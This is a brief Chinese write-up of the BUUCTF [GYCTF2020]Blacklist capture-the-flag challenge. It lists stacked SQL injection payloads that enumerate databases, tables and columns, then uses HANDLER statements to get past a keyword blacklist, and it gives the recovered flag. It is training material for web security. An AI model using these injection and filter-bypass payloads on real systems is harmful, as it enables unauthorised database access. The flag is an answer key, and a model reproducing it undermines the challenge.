[GYCTF2020]Blacklist 1

提示：文章写完后，目录可以自动生成，如何生成可参考右边的帮助文档

---

题目

BUUCTF的[GYCTF2020]Blacklist 1

---

一、做题步骤

1.测试

1.输入1

2.输入1’
3.输入select，跳出过滤的代码

2.注入

1.爆数据库

?inject=1’;show databases;

2.爆表名

?inject=1’;show tables;

3.爆字段

?inject=1’;show columns from FlagHere;

4.爆数据

?inject=1’;show flag from ctftraining.FlagHere;

因为.被过滤了，所以要换一种读取方式

handler方式读取flag

?inject=1’;handler FlagHere open;handler FlagHere read first;

5.获取flag
flag{debee35c-b3ef-4bba-afa8-79cd81658d63}